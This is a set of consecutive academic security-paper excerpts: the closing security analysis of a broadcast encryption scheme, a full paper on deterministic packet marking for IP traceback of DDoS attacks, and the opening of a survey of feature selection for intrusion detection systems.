0 for j = 1, 2, . . ., polynomials xu, and a polynomial L(t, x)

such that L(t0, xi(t0)) = si for i ≤ z+zd and L(t0, x0) = s. Then, we build the shares
from the headers corresponding to the transmissions from Point 1 of our scenario. It is
possible, since we can use polynomial L and, with a help from Uj , raise numbers to
the power r(j). In this way we build an input case for algorithm A. Then A returns
grL(t0,x0) = grs, which is the signature sought.

Now let us make a few remarks on security of the system keys against adversary Mal-
let holding his private keys. Mallet alone cannot calculate polynomials ai(t) from Equa-
tions (2) and (3): he does not know coefficients of Qu(t), but only gqu,j (see Point 5c
in the procedure of a new user registration). Even obtaining gai,j from (3) is precluded
by unknown polynomial S(t). Although values of S(t0) are transmitted in the headers,
they are masked by random r, which is unique for every header H and is independent
of users’ private keys.

Similarly, in (4) we have the random r in the exponent apart from polynomial’s value
L(t0, x0). Thus, in order to mount an attack on gai,j , Mallet must make the exponents
or the values S(t0) independent of r.

The rest of this section is devoted to two key algebraic issues. In Sect. 4.1 we exam-
ine possibilities of breaking the scheme by interpolation of rational functions, given full
information on the headers (including the values rS(t0) disregarded so far). Interpola-
tion of rational functions is an issue interesting itself for other designs of this kind. We
show that our scheme is resistant against the state-of-the-art algebraic methods.

In Sect. 4.2 we consider a coalition of colluders focuses on deriving the polynomial
S(t) from the set of available private keys. However, the attack, to be successful, re-
quires a very large number of colluders and therefore has no practical value. However,
this is an important message that there are profound differences between our scheme
and the scheme based alone on polynomials in the exponent. Among others, our scheme
cannot be merely reduced to standard problems, like DHP. This is the price paid for pri-
vacy protection.

4.1 Rational Interpolation in Exponents – Exploiting the Headers Only

For each given header H we have

g(k+rL(t0,x0))·(rS(t0))−1
= gk·(rS(t0))−1 · g

L(t0,x0)
S(t0) , (5)

and the exponent in the last factor is independent of r. From (1) we get

g
L(t0,x0)

S(t0) = g
�z+zd

i=0
ai(t0)
S(t0) ·xi

0 =
z+zd∏

i=0

(

g
ai(t0)
S(t0)

)xi
0

. (6)

Accordingly, if all values gai(t0)/S(t0), for i = 0, . . . , z + zd, could be somehow inter-
polated at fresh point t0, then the last factor in (5) could be eliminated, and gk might be
obtained by rising the after-elimination result to power rS(t0).
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Suppose that during α + γ + 1 (not necessarily consecutive) broadcasts Mallet has
paid for the key. To simplify the analysis assume that Mallet knows both α and γ,
despite that from points 5a, 5c of user registration he only learns α − γ. In the �th such
a broadcast he gathers a tuple:

(
t
(	)
0 , rS(t(	)0 ), (ψ(	)

0 , grL(t(�)0 ,ψ
(�)
0 )), . . . , (ψ(	)

z+zd
, g

rL(t(�)0 ,ψ
(�)
z+zd

))
)
. (7)

Let us consider one such a tuple. Within the tuple the value t
(	)
0 is fixed, so denote by

gf(ψ(�)
j ) the value grL(t(�)0 ,ψ

(�)
j )·(rS(t(�)0 ))−1

. As we see, for each broadcast (7) Mallet can
compose a system of z + zd + 1 equations analogous to (6):

z+zd∏

i=0

(

g

ai(t
(�)
0 )

S(t(�)0 )

)(ψ(�)
j )i

= gf(ψ(�)
j ) (8)

for j = 0, . . . , z+zd. Equation j contains z+zd+1 unknowns gai(t
(�)
0 )/S(t(�)0 ), the same

for j = 0, . . . , z + zd (indeed, in all equations in the system the ith rational function
ai(t(�))
S(t(�)) is evaluated for the same t = t

(	)
0 ). Obviously, the system is linear in the expo-

nent, its coefficients (ψ(	)
j )i are known. Moreover, from the choice of t

(	)
0 and set R, for

each � all z +zd +1 elements ψ
(	)
j are distinct (it is implicitly required by point 5 of the

key recovery procedure, since Mallet, as an entitled user, must be able to reconstruct
key K(	)). Consequently, the corresponding Vandermonde matrix [(ψ(	)

j )i]0≤i,j≤z+zd

has a nonzero determinant in field Fp, hence it is invertible. Therefore system (8) has a

unique solution: a sequence
(
gai(t

(�)
0 )/S(t(�)0 )

)z+zd

i=0 .
Altogether, after α + γ + 1 paid broadcasts H(	), for each i = 0, . . . , z + zd Mallet

gets values gai(t
(�)
0 )/S(t(�)0 ) at α + γ + 1 nodes t

(	)
0 . Since deg ai + deg S = α + γ, this

number of values ai(t
(�)
0 )

S(t(�)0 )
would be enough to interpolate the rational function ai(t)

S(t) at

any fresh point t0 (cf. [17, Sect. “Algorithms of the Neville Type”]). However, ai(t
(�)
0 )

S(t(�)0 )
cannot be directly read due to DLP. So Mallet needs a method to interpolate a rational
function in exponent.

Below we make no distinction between a polynomial Q̂(x) and calculating its value
at some point x. In fact, Mallet will merely need a procedure for calculating the value
of the polynomial at any given x.

Let P (x), Q(x) be polynomials with coefficients from some field F . For i = 0, . . . ,

deg P +deg Q by fi we denote values P (xi)
Q(xi)

at different points xi such that Q(xi) �= 0.

To interpolate P (x)
Q(x) at a fresh point x, Neville’s type algorithms, as well as the others

like for example barycentric rational interpolation, use fi also in the denominator.

If Mallet is given gfi instead of fi, and has to derive g
P (x)
Q(x) for any given x, these

algorithms are useless, since they require calculation gfi
−1

on the basis of gfi (see [18,
Subsect. 2.2]).
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Therefore Mallet would prefer some kind of linear interpolation, i.e. possibility of
expressing P (x)

Q(x) as

P (x)
Q(x)

=
deg P+deg Q∑

i=0

αifi, (9)

where αi depend only on x and xj for j = 0, . . . , deg P + deg Q, and not on fj (this
allows to avoid DHP and the task of inverting exponents). As we shall see, for large
finite F it is computationally infeasible to find a representation (9) with αi independent
of fj for j = 0, . . . , deg P + deg Q.

First of all, if we multiply both sides of (9) by Q(x) we get a polynomial on the left
hand side. If all αi are polynomials in x, then the expression on the right hand side of
(9) is a polynomial, thus Q(x) | P (x). However, recall that we consider the rational
function ai(t)

S(t) and that deg S = γ > α = deg ai. So S(t) cannot divide ai(t). Hence
we are interested in the case that Q(x) � P (x) and consequently at least one of the αi

is a rational function.
According to the assumption concerning function’s αi independence of values fj ,

after summing up the expression on the right hand side of (9) we get a rational function
whose denominator is independent of fj , i.e. whose denominator is a polynomial on x
that depends only on values xi.

For a fixed (not necessarily known to Mallet) nonzero polynomial P , given γ ∈
N\{0}, and given nodes xi for i = 0, . . . , γ+deg P , consider a set of rational functions

R =
{P (x)

Q̂(x)
: deg Q̂ = γ ∧ Q̂(x) is monic and irreducible in F [x]

}
.

By Lemma14.38 in [19] we get that |R| ≥ |F |γ−2·|F |γ/2

γ . Obviously, the algorithmic

representation of formula (9) must be valid for each P (x)
Q̂(x)

∈ R and for all the nodes

xi shared by elements of R – only the parameters fi differ to fit different polynomi-
als Q̂(x). Since formula (9) has to be an identity, for a given P (x)

Q̂(x)
at least one of the

denominators of functions αi must contain the irreducible polynomial Q̂(x). Since de-
nominators of functions αi depend only on xi, they must be prepared at the beginning
to contain all irreducible polynomials Q̂(x). Since there are 1 + γ + deg P functions
αi, some αi must contain at least |R|

1+γ+deg P polynomials Q̂(x) in the denominator. So

there is an αi whose denominator has degree at least γ · |F |γ−2·|F |γ/2

γ·(1+γ+degP ) . The expression
on the right hand side of (9) could be reformulated to speed up computation (to Horner
scheme for example), but the maximal degree denominator gives a lower bound for the
computational effort of “linear” calculation of the value P (x)

Q(x) for a given argument. For

|F | ≥ 2160 and γ ≥ 1 the task is infeasible. Thus the attack fails.

4.2 Exploiting Keys and Headers: Divisibility S(t) | Lu(t) − Pu(t)

We describe an attack in which Mallet and some other colluding participants use their
private keys in order to break the scheme. Each user alone cannot exploit equality
(3), because values S(t0) are blinded by random value r. On the other hand, by (3),
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S(t) | Lu(t) − Pu(t) for each user u in the system. Thus a coalition of users may hope
to get S(t). Actually, gaining knowledge on c · S(t), for some unknown c �= 0, already
suffices to break the scheme. Indeed, first Mallet gets a monic polynomial from c ·S(t),
i.e. S∗(t) = (c · sγ)−1 · (c · S(t)). Then, taking rS(t0) from header H , he calculates
rsγ = rS(t0) · (S∗(t0))−1 and, similarly to (5), he gets

g(k+rL(t0,x0))·(rsγ)−1
= gk·(rsγ)−1 · g

L(t0,x0)
sγ , (10)

where g
L(t0,x0)

sγ might be written like in (6) as a product

g
L(t0,x0)

sγ =
z+zd∏

i=0

(

g
ai(t0)

sγ

)xi
0

. (11)

For each of α+1 paid broadcasts Mallet may compose a system of z+zd +1 equations
analogous to (8). Then, using a Vandermonde matrix and Lagrangian interpolation he
is able to obtain each of the “polynomials” (gs−1

γ )ai(t). Then, for the next broadcast,
Mallet uses Equalities (10) and (11) in order to derive the value gk for this header.

In order to utilize divisibility S(t) | Lu(t) − Pu(t) to get c · S(t) a user u rewrites
Lu(t) − Pu(t). Assume that she knows her own polynomials xu(t), Pu(t), hence using
equality (2) she may express Lu(t) − Pu(t) as

A(η)
u (t) = A

(η)
u,dt

η + · · · + A
(η)
u,1t

1 + A
(η)
u,0 , (12)

where, by (2), each A
(η)
u,k is a linear combination (specific to user u) of unknowns ai,j

for i = 0, . . . , z + zd + 1, and j = 0, . . . , k, and where η = α + (z + zd) · β.

For each u, polynomial A
(η)
u (t) has (z + zd + 1) · (α + 1) unknowns ai,j , thus some

system of such polynomials (i.e. a coalition of colluding users) is necessary to find all
ai,j .

Suppose that s0 �= 0, i.e. gcd(S(t), t) = 1. Since S(t) | A
(η)
u (t) for each u, S(t) di-

vides any linear combination of different A(η)
u (t). Using z+zd+1 polynomials A

(η)
u (t)

a coalition of colluders might eliminate A
(η)
u,0 in a (z+zd+2)st one polynomial A(η)

u (t),

say getting a new polynomial denoted by t · A
(η−1)
u (t). This should be possible, since

we might expect that a system of z + zd + 1 expressions A
(η)
u,0 is linearly independent:

with overwhelming probability coefficients in the system of A
(η)
u,0 yield a matrix with a

nonzero determinant (Fp is a large field). Since Fp[t] is a unique factorization domain,

then for gcd(S(t), t) = 1 and S(t) | t · A
(η−1)
u (t) we have S(t) | A

(η−1)
u (t). Accord-

ingly, after elimination of the free coefficient, the polynomial might be shifted to the
right, i.e. its degree might be decreased. Proceeding in this manner the colluders finally
obtain a system of different polynomials A

(γ)
u (t), each divisible by S(t).

Since each initial expression (12) equals Qu(t) · S(t), linear transformations on

A
(i)
u (t), for i = η, . . . , γ, correspond to linear transformations on polynomials Qu(t).

When deg A
(γ)
u = deg S, the coalition ends up with “polynomials” Qu(t) = cu for

cu ∈ Fp. The problem is that no user knows her initial polynomial Qu(t), so no-one
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knows the final values cu obtained after η − γ shifts on Qu(t) being transformed. Ac-

cordingly, polynomials A
(γ)
u (t) cannot be directly compared to each other to calcu-

late unknowns ai,j . Increasing the number of initial polynomials (12) does not help
directly, because each new colluding user u introduces a new unknown cu. However,
each polynomial A(γ)

u (t) in the system can be made monic (equal to S∗(t)) by multiply-

ing it by (A(γ)
u,γ)−1. Consequently, the colluders obtain a system of equal polynomials

(A(γ)
u,γ)−1 · A

(γ)
u (t). Each polynomial has coefficients

A
(γ)
u,k

A
(γ)
u,γ

, for k = 0, . . . , γ, being

rational functions in unknowns ai,j . For different u the corresponding coefficients in

polynomials (A(γ)
u,γ)−1 · A(γ)

u (t) are supposed to be different functions (obviously, apart
from the highest coefficient which is 1). Thus comparison of the corresponding coeffi-
cients should give enough information about ai,j to obtain S∗(t).

After a closer look one can see that the attack requires a coalition much larger than
z + 1 users. Indeed, yet the first shift needs z + zd + 2 colluding users, to perform
the next shifts the number of colluders must grow rapidly due to increasing number
of unknowns in free coefficients. To efficiently solve a system of quadratic equations
resulting from the comparison of coefficients between polynomials (A(γ)

u,γ)−1 · A(γ)
u (t),

we also need more equations than unknowns (see [20]). Therefore the above attack is
impractical. Moreover, such a big number of colluders would skip any cryptanalysis but
only exchange the keys and log in so that only one colluder is non-excluded at a time.

Acknowledgments. We wish to thank Nelly Fazio and the anonymous referees for
critical remarks on an preliminary version of the paper.
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Abstract. Probabilistic Packet Marking algorithm, one promising solution to 
the IP traceback problem, uses one fixed marking space to store router 
information. Since this fixed space is not sufficient for storing all routers 
information, each router writes its information into packets chosen with 
probability p, so-called probabilistic marking. Probabilistic marking seems to be 
helpful in lowering router overhead, however, it also bring computation 
overhead for the victim to reconstruct the attack paths and large number of false 
positives. In this paper, we present a new approach for IP traceback, 
Deterministic Packet Marking Scheme with Link Signatures, which needs 
routers mark all packets during forwarding (so-called deterministic marking). 
We make a study of how much both the probabilistic and our deterministic 
packet marking schemes affect router overhead through simulations. The results 
confirm that our deterministic marking scheme will slightly lower router 
overhead, and besides, it has superior performance than another improved 
probabilistic packet marking method, Advanced Marking Schemes. Further 
performance analysis and simulation results are given to show that our 
technique is superior in precision to previous work—it has almost zero false 
positive rate. It also has lower computation overhead for victim and needs just a 
few packets to trace back attacks and to reconstruct the attack paths even under 
large scale distributed denial-of-service attacks. In addition, our scheme is 
simple to implement and support incremental deployment. 

1   Introduction 

Distributed Denial of Service (DDoS) attack is a critical threat to the Internet. One 
difficulty to defeat these attacks is that attackers use spoofed IP addresses in the 
attack packets and hence disguise the true origin of the attacks, because the current IP 
network has no provision for verifying the legitimacy of a source IP. This is called the 
IP traceback problem. However, IP traceback can be used not only in DDoS, but also 
to handle attacks comprised of a small number of packets, or to trace the sources of 
                                                           
* This work is supported by the NSFC (National Natural Science Foundation of China -- under 

Grant 60403028), and NSFS (Natural Science Foundation of Shaanxi -- under Grant 
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unlawful distributed copyrighted material or the spam. We define the source to be a 
device from which the flow of packets, constituting the attack or the unlawful 
copyrighted material or the spam, was initiated. It can be a zombie, reflector, a final 
link in a stepping stone chain, or the one who issue the unlawful copyrighted material 
or the spam. 

Many solutions have been proposed to solve the IP traceback problem, such as 
ingress filtering, packets logging, link testing, and additional Internet Control 
Message Protocol (ICMP) messages, etc., [1]. Generally, Probabilistic Packet 
Marking (PPM) [2-6] is still better than others, because it can be applied during or 
after an attack, and it does not require any additional network, router storage, or 
packet size increase. Probabilistic packet marking was originally introduced by 
Savage et al. [2]. In this approach, it let routers probabilistically mark packets with 
partial path information during packet forwarding. The victim then reconstructs the 
complete paths after receiving a number of packets that contain the marking. But, as 
shown in [3], this approach has a very high computation overhead and needs a large 
number of packets for the victim to reconstruct the attack paths, and gives a large 
number of false positives when the denial-of-service attack originates from multiple 
attackers. Song and Perrig [3] proposed the Advanced and Authenticated Marking 
Schemes (AMS) to improve the probabilistic packet marking and suggested the use of 
hash chains for authenticating routers. It predetermines the networks topology to 
allow for a more efficient encoding of edges, resulting in fewer packets to reconstruct 
paths and greatly improving the efficiency and accuracy of the protocol. 

In this paper, we present a new IP marking technique to solve the IP traceback 
problem: Deterministic Packet Marking Scheme with Link Signatures (DPMSLS for 
short), which marks every packet passing through a router with link signature. The 
simulation results show that DPMSLS can be used for Single Packet IP Traceback, it 
can reconstruct the attack paths within seconds and with just a single packet, and has 
almost zero false positive rate; moreover, our approach generates low victim and 
router overhead.  

This paper is organized as follows. In section 2, we introduce our new IP traceback 
method, Deterministic Packet Marking Scheme with Link Signatures. Section 3 
shows the simulation results which confirm that our deterministic packet marking 
scheme will slightly lower router overhead. Section 4 shows simulation results with 
NS-2 to indicate our technique is efficient and accurate. Finally a briefly conclusion is 
given in section 5. 

2   Deterministic Packet Marking Scheme with Link Signatures 

2.1   Marking Algorithm 

In PPM schemes, it always uses either partial address information or a hash value of 
the address information of the router to mark the packet, with a marking probability p. 
PPM requires considerable amount of packets to be collected at the victim to 
reconstruct the attack path, and the processing overhead is immense; moreover, PPM 
cannot trace a single packet. Therefore, we proposed the DPMSLS algorithm, trying 
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to mark every attack packet to make each packet stores all the attack path information, 
so called deterministic packet marking.  

Our algorithm is a packet marking algorithm, so we also use the 16-bit Packet ID 
field in the IP header to mark packets, the same as other PPM schemes. The reason 
for using the 16-bit Packet ID field in the IP header is supported by empirical traffic 
analysis in [7]. According to [7], less than 0.5% of all packets in the Internet are 
fragmented. Differing from other PPM schemes, our marking algorithm uses not the 
address information but the signature of the ingress link of the router to mark the 
packet. The link signature can be a digest of the address information of the two 
adjacent nodes linked with an edge, or even be a random 16-bit value. The signature 
of each link should be distributed in advance.  

Each packet mark is 0 when it enters the network, this mark will be changed as 
long as the packet traverses each router. The packet is first marked by the signature of 
the link closest to the source of the packet on the edge ingress router. In succession, 
once it traverses a router, the router will mark the packet with the signature of the 
ingress link. Each router will participate in packet marking. The marking will be done 
deterministically. When packets finally arriving at the victim, each of them contain all 
the path information it traversed. So the victim can reconstruct the attack path using 
any of the packets. That’s how our proposed scheme supports Single Packet 
Traceback. The marking algorithm is depicted as follows: 

marking procedure in router R 
for each packet P { 

find the signature of the ingress link ls from the 
table stored on the router; 
pm = pm ⊕ ls; //pm is the packet mark 
ttl++; // ttl is the value of the TTL field in the 
IP header 

} 

The encoding and decoding procedures of DPMSLS are shown in Fig. 1. 

 

Fig. 1. Encoding and decoding procedures 
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2.2   Reconstruction Algorithm 

There are two schemes of the reconstruction processing: the Static Reconstruction and 
the Dynamic Reconstruction. 

If the topology of the network is known, we can store the topology information as 
well as the signature of each link in this topology at the victim. Thus the whole 
reconstruction processing can be done just at the victim, without any router’s 
participating. The advantage of the static reconstruction is that the reconstruction 
speed is extremely rapid. However, it needs to know the network topology and the 
overload of the victim is burden. 

For obtaining the network topology is always a non-trivial issue, we consider the 
dynamic reconstruction. In this scheme, the signature of each link adjacent to a router 
is just known by the router. Each router stores the signatures of all the adjacent links, 
and no one knows the global information of all the link signatures. So not only the 
victim but also each router will participate in the dynamic reconstruction. When the 
victim receives a marked attack packet and begins to traceback, it will start the closest 
router linked to the victim to reconstructing the attack path/paths. At the same time, a 
new UDP packet enclosing the packet mark and the value of the TTL field of the 
attack packet is sent to the closest router. For each adjacent link, the router does the 
same thing: it decodes the received packet mark by XOR the link signature and makes 
TTL decrease 1, if both the packet mark and the TTL are 0, one of the attackers is 
caught; otherwise when TTL>0, pass the UDP packet with the new packet mark and 
the TTL to the next router connected to this link. If the packet mark is 0 and TTL>0, 
the dynamic reconstructing along this path stops. The following is the description of 
the dynamic reconstruction algorithm: 

 
Reconstruction procedure in router R 
pm： the packet mark 
lm：the signature of the link 
ttl：current value of hop, the initial value equals to 
the value of the TTL field in the IP header  
path[m，n]：stores the address of router on the attack 
path  
 
int trace(R, pm, ttl, path[i, j]) { 

if(R not in path [i]){ //if R not on the path 
calculated 

path [i, ++j]=R;  
pm = pm ⊕ ls;  
ttl--;  
if(ttl!=0 && pm!=0){  

FindAdjacentRouters(R,*AdjacentRouters); //find 
all the adjacent routers of R 
r = AdjacentRouters; //r points to the first  
adjacent router of R 
while(r!=NULL){  

return(trace(r, pm, ttl, path [i, j]));  
r=*(AdjacentRouters+1); // r points to next  
adjacent router of R 
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k=i+1; 
path [k]= path [i];  
i++; //creat a new path 

} 
} 
else if(ttl==0 && pm==0) 
 Return 1; 
else 
 Return 0; 

} 
} 

3   Why Deterministic Packet Marking 

3.1   Probabilistic vs. Deterministic Packet Marking 

In packet marking, each router along the path puts router information in the packet 
header, so the receiver can reconstruct the path of an incoming packet. A 
straightforward approach is attaching all router IP’s in every packet. This is 
impractical due to the large a variable size of the router data. PPM solves this problem 
[2]. Instead of attaching the entire router IPs, PPM allows only one fixed marking 
space. Since this fixed space is not sufficient for storing all routers information, each 
router writes its router information into packets chosen with probability p (so-called 
Probabilistic Packet Marking). The receiver can reconstruct the full path after 
collecting a sufficiently large number of packets. 

PPM requires considerable amount of packets to be collected at the victim before 
conducting the traceback process. As the probability of marking or the length of the 
path increases, the required number of packets for reconstructing the path is also 
increased. Waiting for a huge number of attack packets to be collected at the victim 
means admitting the fact of longer denial of service, which conflicts with the need for 
fast response to stop the attack.  

As mentioned above, DPMSLS is a deterministic packet marking algorithm. Each 
packet is marked when it enters the network by the signature of the first link. This 
mark will be changed as long as the packet traverses each router. When packets 
finally arrive at the victim, each of them contains all the path information it traversed. 
This is called deterministic marking since it stores all the path information in every 
packet. This solves the problem that the performance of all the PPM schemes depends 
on the probability of marking and the length of the path. DPMSLS can use any of the 
marked packets to reconstruct the attack path without waiting for a huge number of 
attack packets to be collected at the victim, and no matter how long the length of the 
path is.  

In DPMSLS, because each packet is marked by each router the packet traverses, it 
looks like it may make the router overloaded. However, we could not say DPMSLS 
should definitely burden the router heavier than PPM schemes, because in PPM 
schemes, it must compute for each router a new random number for each incoming 
packet in order to decide whether to mark it or not, which may also be an expensive 
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operation. In order to confirm whether DPMSLS is superior to PPM schemes in the 
effect on routers, experiments shown in Section 3.2 are conducted. 

3.2   Performance Comparison 

The performance of how the schemes affect on routers was evaluated based on the 
parameter: Router Overload Factor (ROF), which is defined as: 

ROF= (△t1-△t0)/△t0 (1) 

Here △t1 represents the time of the marking process lasts. It equals to the time 
from the first packet enters into the first router to the last packet marked by the last 
router. △t0 represents the time of normal packets transmitting without marking. It 
equals to the time from the first packet enters into the first router to the last packet 
goes out the last router. The bigger ROF is, the heavier the marking processing affects 
on routers. 

We choose the representative PPM schemes --- Advanced and Authenticated 
Marking Schemes, including Advanced Marking Schemes I (AMS-I) and Advanced 
Marking Schemes II (AMS-II) --- to be compared with DPMSLS. To test the behavior 
of the proposed scheme and AMSs, we conduct two groups of simulation experiments 
with NS-2 illustrated as follows. To simplify the problem, we set only one attacker 
versus one victim in these experiments. 

• Fixed Number of Routers Under Varied Traffic Speeds 
There are 25 routers between the attacker and the victim along the attack path. 
Experiments are conducted under varied traffic speeds: 400kbps, 500kbps, 1000kbps, 
1500kbps, 2000kbps, 2500kbps, 3000kbps, 3500kbps, 4000kbps, 4500kbps and 
5000kbps. The ROFs of DPMSLS, AMS-I and AMS-II are shown in Fig. 2. The 
result shows obviously that DPMSLS slightly affects routers overload, when AMS-I 
affects heavier and AMS-II does heaviest. 

 

Fig. 2. The ROFs of DPMSLS, AMS-I and AMS-II with fixed number of routers under varied 
traffic speeds 

• Uniform Traffic Speed with Varied Number of Routers 
The traffic speed keeps 2500kbps. We varied numbers of routers along the attack path 
(from attacker to victim) from 5 to 30. The ROFs of DPMSLS, AMS-I and AMS-II 
are shown in Fig. 3. The result is the same as in the first experiment. 
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Fig. 3. The ROFs of DPMSLS, AMS-I and AMS-II with uniform traffic speed and varied 
number of routers 

4   Simulation Results 

We have performed extensive simulation experiments to examine the feasibility and 
evaluate the performance of our marking scheme. The primary objective of the 
experiments is to investigate some parameters related to the marking scheme: 
Reconstruction Time, Bandwidth Overload and False Positive Rate, etc. In 
preparation for the simulation experiments, we construct a network simulation test-
bed (based on NS-2 simulator) with over 200 routers as shown in Fig. 4. The attack 
paths are randomly chosen from the paths in the map; and different number of packets 
are generated and transmitted along each of these paths. Each of the routers simulates 
marking the packets as defined in the marking algorithm. The victim simulates 
applying the proposed reconstruction algorithm to reconstruct all the attack paths. For 
the experiments, we varied the number of attackers from 1 to 100. Each data point in 
the following figures corresponds to an average of the data values obtained from over 
200 independent experiments. 

Fig. 5 gives the result of the reconstruction time, which is from when receiving the 
first marked packet at the victim to the time reconstructing the last attack path. We 
conducted experiments separately with Static Traceback and Dynamic Traceback. 
The result shows our algorithms can reconstruct all the attack paths with 100 
distributed attackers within only 1 second. It is obviously much faster than all other 
PPM schemes. The reconstruction time will not extend much along with the number 
of attackers increasing, if fact, it will approach to a definite value (approximates 0.1s 
under static traceback and 0.72s under dynamic traceback) when the number of 
attackers increasing. It also shows that it takes much less time in reconstructing with 
the static traceback algorithm than with the dynamic one. 

Under static traceback, our algorithm will not yield any bandwidth overload. Fig. 6 
shows the bandwidth overload for DPMSLS with dynamic traceback. We use the 
proportion of the additional traffic engendered by dynamic traceback to the original 
network traffic to represent the bandwidth overload. The smaller the proportion is, the 
lower the bandwidth overload is. The result shows that the bandwidth overload 
increases along with the number of attackers increasing. However, it always less than 
1.4%, which means even under dynamic traceback, the network overload is tiny and 
has negligible effect on the network. 
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Fig. 4. Test-bed topology  

Concerning the false positive rate, experiments show that our algorithm yields 
almost zero false positive rate with the test-bed shown in Fig. 4. Of course, when the 
scale of the network enlarged, there will not always zero false positive rate. However, 
under this circumstance, we can divide the network into several independent areas and 
traceback in each area yields almost zero false positive rate. Once the traceback 
outgoes the border of an area, it will continue in one of the adjacent areas. The 
research of tracing back in multiple areas will be one of our future work. 

 

Fig. 5. Reconstruction time for DPMSLS under Static Traceback & Dynamic Traceback 
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Fig. 6. Bandwidth overload for DPMSLS 

5   Conclusion 

In this paper, we present a new IP traceback scheme, the Deterministic Packet 
Marking Scheme with Link Signatures, which allows the victim to traceback the 
approximate origin of spoofed IP packets. The experimental results show that our 
proposed marking scheme is feasible and the performance is satisfactory. Our 
technique has very low network and router overhead and support incremental 
deployment. It is much more efficient and accurate to reconstruct the attacker path. In 
contrast to previous work, our marking technique supports single packet traceback 
and has lower computation overhead for the victim to reconstruct the attack paths 
under large scale distributed denial-of-service attacks. 
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Abstract. The Intrusion detection system deals with huge amount of data which 
contains irrelevant and redundant features causing slow training and testing 
process, higher resource consumption as well as poor detection rate. Feature 
selection, therefore, is an important issue in intrusion detection. In this paper we 
introduce concepts and algorithms of feature selection, survey existing feature 
selection algorithms in intrusion detection systems, group and compare 
different algorithms in three broad categories: filter, wrapper, and hybrid. We 
conclude the survey by identifying trends and challenges of feature selection 
research and development in intrusion detection system. 

Keywords: intrusion detection, feature selection, filter, wrapper, hybrid. 

1   Motivation and Introduction 

Intrusion Detection System (IDS) plays vital role of detecting various kinds of 
attacks. The main purpose of IDS is to find out intrusions among normal audit data 
and this can be considered as classification problem. One of the main problems with 
IDSs is the overhead, which can become prohibitively high. As network speed 
becomes faster, there is an emerging need for security analysis techniques that will 
be able to keep up with the increased network throughput [1]. Therefore, IDS itself 
should be lightweight while guaranteeing high detection rates. Several literatures 
have tried to solve that by figuring out important intrusion features through feature 
selection algorithms. Feature selection is one of the important and frequently  
used techniques in data preprocessing for IDS [2], [3]. It reduces the number of 
features, removes irrelevant, redundant, or noisy data, and brings the immediate 
effects for IDS. 

In terms of feature selection, several researches have proposed identifying 
important intrusion features through wrapper filter and hybrid approaches. Wrapper 
method exploits a machine learning algorithm to evaluate the goodness of features or 
feature set. Filter method does not use any machine learning algorithm to filter out the 
irrelevant and redundant features rather it utilizes the underlying characteristics of the 
training data to evaluate the relevance of the features or feature set by some 
independent measures such as distance measure, correlation measures, consistency 
measures [4], [5]. Hybrid method combines wrapper and filter approach. Even though 
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a number of feature selection techniques have been utilized in the fields of web and 
text mining, and speech recognition, however, there are very few analogous studies in 
intrusion detection field. 

2   General Procedure of Feature Selection 

In this section, we explain in detail the four key steps as shown in Fig. 1[36]. 

 

Fig. 1. Four key steps of feature selection 

2.1   Subset Generation 

Subset generation is essentially a process of heuristic search, with each state in the 
search space specifying a candidate subset for evaluation. The nature of this process is 
determined by two basic issues. First, one must decide the search starting point (or 
points) which in turn influences the search direction. Search may start with an empty 
set and successively add features (i.e., forward), or start with a full set and 
successively remove features (i.e., backward), or start with both ends and add and 
remove features simultaneously (i.e., bidirectional). Search may also start with a 
randomly selected subset in order to avoid being trapped into local optima [6]. 
Second, one must decide a search strategy. For a data set with N features, there exist 
2N candidate subsets. This search space is exponentially prohibitive for exhaustive 
search with even a moderate N. Therefore, different strategies have been explored: 
complete [7], sequential [8], and random [6] search. 

2.2   Subset Evaluation 

Each newly generated subset needs to be evaluated by an evaluation criterion. An 
evaluation criterion can be broadly categorized into two groups based on their 
dependency on learning algorithms that will finally be applied on the selected feature 
subset. The one is independent criteria, the other is dependent criteria. 

Some popular independent criteria are distance measures, information measures, 
dependency measures, and consistency measures [8], [9], [10], [11]. An independent 
criterion is used in algorithms of the filter model. A dependent criterion used in the 
wrapper model requires a predetermined learning algorithm in feature selection and 
uses the performance of the learning algorithm applied on the selected subset to 
determine which features are selected. 
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2.3   Stopping Criteria 

A stopping criterion determines when the feature selection process should stop. Some 
frequently used stopping criteria are as follows: 

• The search completes. 
• Some given bound is reached, where a bound can be a specified number (minimum 

number of features or maximum number of iterations). 
• Subsequent addition (or deletion) of any feature does not produce a better subset. 
• A sufficiently good subset is selected.  

2.4   Result Validation 

A straightforward way for result validation is to directly measure the result using prior 
knowledge about the data. In real-world applications, however, we usually do not 
have such prior knowledge. Hence, we have to rely on some indirect methods by 
monitoring the change of mining performance with the change of features. For 
example, if we use classification error rate as a performance indicator for a learning 
task, for a selected feature subset, we can simply conduct the “before-and-after” 
experiment to compare the error rate of the classifier learned on the full set of features 
and that learned on the selected subset [8], [12]. 

3   Taxonomy of Feature Selection Algorithms 

In general, wrapper and filter method have been proposed for feature selection. 
Wrapper method adopts classification algorithms and performs cross validation to 
identify important features. Filter method utilizes correlation based approach. 
Wrapper method demands heavy computational resource for training and cross 
validation while filter method lacks the capability of minimization of generalization 
error. In order to improve these problems, several studies have proposed hybrid 
approaches which combine wrapper and filter approach. In this section, we explain in 
detail the three key models with some famous feature selection algorithms. In order to 
compare the differences among these algorithms, we performed all experiments on 
KDD1999 [24] dataset through open source project WEKA [16]. We experimented in 
a Windows machine having configurations AMD Opteron 64-bit processor 1.60GHz, 
2.00GB RAM, and the operation system platform is Microsoft Windows XP 
Professional (SP2). We have sampled 10 different datasets, each having 12350 
instances, from the corpus by uniform random distribution so that the distribution of 
the dataset should remain unchanged. Each instance of dataset consists of 41 features. 
We have carried out 10 experiments on different datasets having full features and 
selected features and have applied 10 fold cross validation to achieve low generation 
error and to determine the intrusion detection rate. 
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3.1   Filter Algorithm 

Algorithms within the filter model are illustrated through a generalized filter 
algorithm [35] (shown in Table 1). For a given data set D, the algorithm starts the 
search from a given subset S0. Each generated subset S is evaluated by an independent 
measure M and compared with the previous best one. The search iterates until a 
predefined stopping criterion δ  is reached. The algorithm outputs the last current 
best subset Sbest as the final result. Since the filter model applies independent 
evaluation criteria without involving any learning algorithm, it does not inherit any 
bias of a learning algorithm and it is also computationally efficient. 

Table 1. A Generalized Filter Algorithm 

 

Correlation-Based Feature Selection 
Correlation-based Feature Selection (CFS) is a filter method. Among given features, it 
finds out an optimal subset which is best relevant to a class having no redundant 
feature. It evaluates merit of the feature subset on the basis of hypothesis--"Good 
feature subsets contain features highly correlated with the class, yet uncorrelated to 
each other [13]". This hypothesis gives rise to two definitions. One is feature class 
correlation and another is feature-feature correlation. Feature-class correlation 
